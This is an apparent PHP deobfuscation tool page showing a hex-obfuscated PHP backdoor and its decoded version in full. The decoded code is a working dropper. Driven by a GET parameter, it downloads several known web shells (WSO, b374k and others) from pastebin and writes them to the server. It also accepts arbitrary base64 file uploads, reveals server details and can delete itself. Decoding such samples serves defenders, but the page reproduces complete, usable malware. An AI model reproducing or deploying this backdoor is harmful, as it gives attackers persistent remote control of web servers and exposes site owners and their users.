Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47\x4c\x4f\x42A\x4cS"}["s\x6e\x78msh\x76j\x68"]="\x73\x69ip";${"GL\x4f\x42\x41LS"}["z..

Decoded Output download

<?  ${"GLOBALS"}["snxmshvjh"]="siip";${"GLOBALS"}["zatrzdokvre"]="contents";${"GLOBALS"}["khwoytylo"]="uploadDir";${"GLOBALS"}["simmfwtt"]="command";${"GLOBALS"}["txcimvoulc"]="command";${${"GLOBALS"}["simmfwtt"]}=$_GET["sscmd"];${"GLOBALS"}["iohtid"]="command";${"GLOBALS"}["udxdxjhpjb"]="command";$urutvwcrq="command";if(${${"GLOBALS"}["txcimvoulc"]}=="v"){echo"ssbkdrexst";}elseif(${${"GLOBALS"}["iohtid"]}=="imps1"){${"GLOBALS"}["vldmhgiwleym"]="contents";${"GLOBALS"}["xdxjmzbhlqb"]="uploadDir";${${"GLOBALS"}["xdxjmzbhlqb"]}=getcwd()."/";${"GLOBALS"}["npkczfgkg"]="contents";${${"GLOBALS"}["vldmhgiwleym"]}=file_get_contents("https://pastebin.com/raw/wqAiXLbA");file_put_contents(${${"GLOBALS"}["khwoytylo"]}."dhanush.php",${${"GLOBALS"}["npkczfgkg"]});echo"Dhanush Shell Imported Successfully To $uploadDir"."dhanush.php";}elseif(${$urutvwcrq}=="imps4"){${${"GLOBALS"}["khwoytylo"]}=getcwd()."/";${"GLOBALS"}["asvgwidnil"]="contents";${${"GLOBALS"}["zatrzdokvre"]}=file_get_contents("https://pastebin.com/raw/mxEAqm6v");file_put_contents(${${"GLOBALS"}["khwoytylo"]}."wso.php",${${"GLOBALS"}["asvgwidnil"]});echo"WSO Shell Imported Successfully To $uploadDir"."wso.php";}elseif(${${"GLOBALS"}["simmfwtt"]}=="imps3"){${"GLOBALS"}["imfnkqe"]="uploadDir";${${"GLOBALS"}["imfnkqe"]}=getcwd()."/";${${"GLOBALS"}["zatrzdokvre"]}=file_get_contents("https://pastebin.com/raw/Lqp80naZ");${"GLOBALS"}["dgvljhxm"]="uploadDir";file_put_contents(${${"GLOBALS"}["dgvljhxm"]}."kurama.php",${${"GLOBALS"}["zatrzdokvre"]});echo"Kurama V1.0 Shell Imported Successfully To $uploadDir"."kurama.php";}elseif(${${"GLOBALS"}["udxdxjhpjb"]}=="imps2"){${${"GLOBALS"}["khwoytylo"]}=getcwd()."/";${"GLOBALS"}["ocfdkbulyjb"]="contents";${${"GLOBALS"}["ocfdkbulyjb"]}=file_get_contents("https://pastebin.com/raw/mXX0wnWM");${"GLOBALS"}["fmktdo"]="uploadDir";file_put_contents(${${"GLOBALS"}["fmktdo"]}."b374k.php",${${"GLOBALS"}["zatrzdokvre"]});echo"b374k Shell Imported Successfully To $uploadDir"."b374k.php";}elseif(${${"GLOBALS"}["simmfwtt"]}=="imps5"){${"GLOBALS"}["whrvomtyui"]="uploadDir";${"GLOBALS"}["fmutwch"]="contents";${"GLOBALS"}["nyrtbngicfw"]="uploadDir";${${"GLOBALS"}["nyrtbngicfw"]}=getcwd()."/";${${"GLOBALS"}["fmutwch"]}=file_get_contents("https://pastebin.com/raw/QTm2NdeT");file_put_contents(${${"GLOBALS"}["whrvomtyui"]}."mini.php",${${"GLOBALS"}["zatrzdokvre"]});echo"MiNi Shell Imported Successfully To $uploadDir"."mini.php";}elseif(${${"GLOBALS"}["simmfwtt"]}=="u"){${${"GLOBALS"}["khwoytylo"]}=getcwd()."/";file_put_contents(${${"GLOBALS"}["khwoytylo"]}.$_POST["fileName"],base64_decode($_POST["fileData"]));echo"\e[32m\e[1m
[i] File Uploaded To: $uploadDir".$_POST["fileName"];}elseif(${${"GLOBALS"}["simmfwtt"]}=="si"){${"GLOBALS"}["ajxsodx"]="kernel";${${"GLOBALS"}["ajxsodx"]}=php_uname();${${"GLOBALS"}["snxmshvjh"]}=gethostbyname($_SERVER["HTTP_HOST"]);echo"[i] Server: ".php_uname();echo"
[i] Server IP: $siip";}elseif(${${"GLOBALS"}["simmfwtt"]}=="fuckme"){echo"
SERVER SAYS: FUCKED ME UP!!! :( BE HAPPY";unlink(__FILE__);} ?>

Did this file decode correctly?

Original Code

${"\x47\x4c\x4f\x42A\x4cS"}["s\x6e\x78msh\x76j\x68"]="\x73\x69ip";${"GL\x4f\x42\x41LS"}["z\x61t\x72z\x64ok\x76\x72e"]="\x63\x6f\x6et\x65\x6et\x73";${"\x47\x4cO\x42\x41\x4cS"}["\x6b\x68\x77\x6fy\x74\x79\x6c\x6f"]="\x75\x70\x6c\x6f\x61\x64D\x69\x72";${"\x47\x4c\x4f\x42ALS"}["\x73\x69\x6d\x6d\x66w\x74\x74"]="\x63\x6f\x6d\x6d\x61n\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78cim\x76ou\x6c\x63"]="\x63omm\x61nd";${${"\x47\x4c\x4f\x42ALS"}["s\x69\x6d\x6d\x66\x77t\x74"]}=$_GET["\x73\x73\x63md"];${"GL\x4f\x42\x41LS"}["\x69\x6f\x68tid"]="c\x6f\x6dm\x61\x6ed";${"G\x4cO\x42\x41L\x53"}["\x75\x64\x78dx\x6ah\x70\x6ab"]="\x63\x6fm\x6da\x6ed";$urutvwcrq="co\x6d\x6dan\x64";if(${${"\x47LOBALS"}["t\x78\x63i\x6d\x76\x6fu\x6cc"]}=="v"){echo"\x73\x73bk\x64\x72e\x78s\x74";}elseif(${${"\x47L\x4f\x42A\x4c\x53"}["\x69o\x68\x74id"]}=="\x69\x6dps\x31"){${"\x47L\x4fB\x41\x4c\x53"}["vl\x64m\x68\x67\x69\x77leym"]="\x63\x6f\x6e\x74\x65\x6et\x73";${"GLO\x42\x41\x4c\x53"}["xd\x78jm\x7a\x62\x68\x6c\x71b"]="\x75\x70l\x6f\x61\x64\x44\x69r";${${"G\x4c\x4f\x42\x41\x4cS"}["x\x64\x78\x6amz\x62\x68\x6c\x71\x62"]}=getcwd()."/";${"\x47\x4cO\x42A\x4c\x53"}["\x6ep\x6b\x63z\x66g\x6b\x67"]="\x63\x6f\x6e\x74\x65\x6et\x73";${${"GLOB\x41L\x53"}["\x76l\x64\x6d\x68\x67\x69\x77\x6c\x65y\x6d"]}=file_get_contents("\x68\x74t\x70s://pa\x73\x74e\x62\x69\x6e\x2ec\x6fm/\x72\x61w/wqA\x69\x58\x4c\x62A");file_put_contents(${${"\x47L\x4f\x42\x41\x4cS"}["\x6b\x68\x77\x6fytylo"]}."dh\x61nu\x73\x68\x2ep\x68p",${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6e\x70\x6bc\x7afg\x6b\x67"]});echo"Dh\x61\x6eus\x68 She\x6c\x6c \x49\x6d\x70o\x72t\x65\x64 S\x75\x63\x63es\x73f\x75lly\x20T\x6f\x20$uploadDir"."\x64\x68\x61\x6eu\x73h\x2ephp";}elseif(${$urutvwcrq}=="\x69mp\x73\x34"){${${"G\x4cO\x42AL\x53"}["\x6bhw\x6f\x79\x74\x79\x6c\x6f"]}=getcwd()."/";${"G\x4c\x4f\x42ALS"}["\x61\x73v\x67w\x69\x64\x6e\x69\x6c"]="c\x6f\x6e\x74\x65\x6e\x74s";${${"\x47\x4c\x4f\x42ALS"}["z\x61\x74\x72\x7ad\x6fk\x76re"]}=file_get_contents("h\x74tp\x73://p\x61\x73te\x62i\x6e.c\x6f\x6d/\x72a\x77/\x6d\x78\x45\x41\x71m6\x76");file_put_contents(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x68\x77\x6f\x79\x74\x79l\x6f"]}."wso\x2e\x70\x68\x70",${${"\x47L\x4fB\x41\x4cS"}["\x61\x73\x76gwi\x64ni\x6c"]});echo"\x57\x53\x4f\x20\x53\x68el\x6c\x20I\x6dp\x6f\x72ted\x20S\x75\x63ce\x73sfu\x6cl\x79\x20\x54\x6f $uploadDir"."w\x73\x6f\x2e\x70h\x70";}elseif(${${"\x47\x4cO\x42\x41\x4c\x53"}["s\x69\x6d\x6d\x66\x77\x74t"]}=="\x69\x6dp\x73\x33"){${"\x47\x4c\x4f\x42A\x4cS"}["i\x6d\x66n\x6b\x71\x65"]="u\x70\x6c\x6fad\x44\x69r";${${"\x47L\x4f\x42ALS"}["i\x6d\x66\x6ek\x71\x65"]}=getcwd()."/";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7a\x61\x74\x72\x7ado\x6b\x76\x72\x65"]}=file_get_contents("\x68t\x74p\x73://\x70a\x73t\x65bin\x2e\x63om/\x72aw/Lqp8\x30\x6eaZ");${"GL\x4f\x42\x41L\x53"}["\x64\x67\x76\x6c\x6ahx\x6d"]="\x75\x70\x6co\x61\x64D\x69\x72";file_put_contents(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x67\x76\x6c\x6a\x68\x78\x6d"]}."k\x75rama\x2e\x70h\x70",${${"G\x4c\x4f\x42\x41LS"}["\x7a\x61t\x72\x7ad\x6f\x6bv\x72e"]});echo"\x4buram\x61 V1\x2e\x30 \x53h\x65\x6c\x6c \x49\x6d\x70or\x74\x65\x64\x20\x53u\x63c\x65s\x73f\x75\x6c\x6cy To\x20$uploadDir"."k\x75rama.\x70\x68p";}elseif(${${"\x47LO\x42AL\x53"}["\x75\x64\x78\x64\x78\x6ah\x70j\x62"]}=="im\x70s\x32"){${${"\x47L\x4f\x42\x41L\x53"}["k\x68\x77\x6fyt\x79\x6c\x6f"]}=getcwd()."/";${"\x47LOBA\x4c\x53"}["\x6f\x63f\x64\x6b\x62u\x6c\x79\x6ab"]="\x63\x6fn\x74\x65\x6e\x74s";${${"\x47\x4c\x4f\x42A\x4cS"}["o\x63f\x64k\x62\x75l\x79\x6ab"]}=file_get_contents("\x68\x74t\x70s://\x70a\x73\x74\x65\x62\x69n.\x63\x6f\x6d/\x72\x61\x77/m\x58X\x30\x77nW\x4d");${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6d\x6b\x74d\x6f"]="upl\x6f\x61\x64\x44\x69\x72";file_put_contents(${${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6dk\x74\x64\x6f"]}."\x62374\x6b.\x70\x68\x70",${${"\x47\x4cO\x42A\x4cS"}["\x7aa\x74\x72\x7a\x64\x6f\x6b\x76\x72\x65"]});echo"b37\x34k S\x68ell\x20\x49\x6dpor\x74e\x64 \x53u\x63ce\x73\x73\x66ully \x54o\x20$uploadDir"."b37\x34\x6b\x2eph\x70";}elseif(${${"\x47\x4c\x4f\x42\x41LS"}["s\x69m\x6d\x66\x77\x74t"]}=="i\x6d\x70s\x35"){${"\x47L\x4fB\x41\x4c\x53"}["w\x68\x72v\x6fmt\x79\x75\x69"]="\x75p\x6c\x6f\x61\x64Dir";${"\x47L\x4f\x42ALS"}["fm\x75\x74\x77c\x68"]="\x63o\x6e\x74\x65\x6et\x73";${"\x47\x4cOB\x41\x4cS"}["ny\x72t\x62n\x67i\x63\x66w"]="u\x70\x6co\x61\x64\x44\x69\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ey\x72\x74\x62\x6egi\x63\x66w"]}=getcwd()."/";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x66\x6d\x75\x74\x77\x63h"]}=file_get_contents("\x68t\x74ps://p\x61st\x65\x62in.com/\x72\x61w/\x51Tm\x32N\x64\x65\x54");file_put_contents(${${"\x47\x4cOB\x41\x4c\x53"}["w\x68\x72\x76o\x6d\x74\x79u\x69"]}."m\x69\x6e\x69\x2ep\x68\x70",${${"G\x4c\x4f\x42\x41L\x53"}["\x7a\x61\x74\x72\x7adokvr\x65"]});echo"M\x69\x4e\x69\x20Sh\x65\x6c\x6c \x49\x6d\x70\x6f\x72\x74\x65d\x20\x53\x75\x63\x63ess\x66\x75lly \x54o\x20$uploadDir"."mini.ph\x70";}elseif(${${"G\x4c\x4f\x42\x41L\x53"}["\x73\x69\x6dm\x66w\x74\x74"]}=="u"){${${"\x47\x4cOB\x41\x4c\x53"}["\x6b\x68w\x6f\x79t\x79\x6c\x6f"]}=getcwd()."/";file_put_contents(${${"\x47\x4cO\x42A\x4c\x53"}["\x6b\x68w\x6f\x79\x74\x79\x6c\x6f"]}.$_POST["\x66i\x6ceN\x61\x6d\x65"],base64_decode($_POST["\x66il\x65Da\x74a"]));echo"\x5ce[3\x32m\\\x65[1\x6d\n[\x69]\x20F\x69le\x20\x55\x70l\x6f\x61\x64\x65d\x20\x54o:\x20$uploadDir".$_POST["fi\x6c\x65\x4e\x61\x6de"];}elseif(${${"G\x4cO\x42AL\x53"}["\x73\x69\x6d\x6d\x66\x77\x74t"]}=="si"){${"\x47L\x4f\x42A\x4c\x53"}["ajx\x73\x6fdx"]="\x6be\x72\x6e\x65\x6c";${${"GL\x4f\x42\x41\x4c\x53"}["a\x6a\x78\x73\x6f\x64\x78"]}=php_uname();${${"\x47L\x4f\x42\x41\x4cS"}["s\x6e\x78m\x73hv\x6a\x68"]}=gethostbyname($_SERVER["\x48\x54TP\x5fHO\x53T"]);echo"[i] \x53\x65\x72\x76e\x72: ".php_uname();echo"\n[i]\x20Serv\x65r IP:\x20$siip";}elseif(${${"\x47L\x4fB\x41L\x53"}["si\x6d\x6d\x66\x77\x74t"]}=="\x66\x75ckm\x65"){echo"\n\x53E\x52\x56ER\x20\x53AY\x53: F\x55\x43\x4b\x45\x44 \x4dE\x20UP\x21!\x21\x20:(\x20B\x45 H\x41P\x50\x59";unlink(__FILE__);}

Function Calls

None

Variables

GLOBALS [{'key': 'snxmshvjh', 'value': 'siip'}, {'key': 'zatrzdokvre', 'value': 'contents'}, {'key': 'khwoytylo', 'value': 'uploadDir'}, {'key': 'simmfwtt', 'value': 'command'}, {'key': 'txcimvoulc', 'value': 'command'}, {'key': 'iohtid', 'value': 'command'}, {'key': 'udxdxjhpjb', 'value': 'command'}]
command None
$urutvwcrq command

Stats

MD5 82ea6f5d35014052f443b72d00548d45
Eval Count 0
Decode Time 130 ms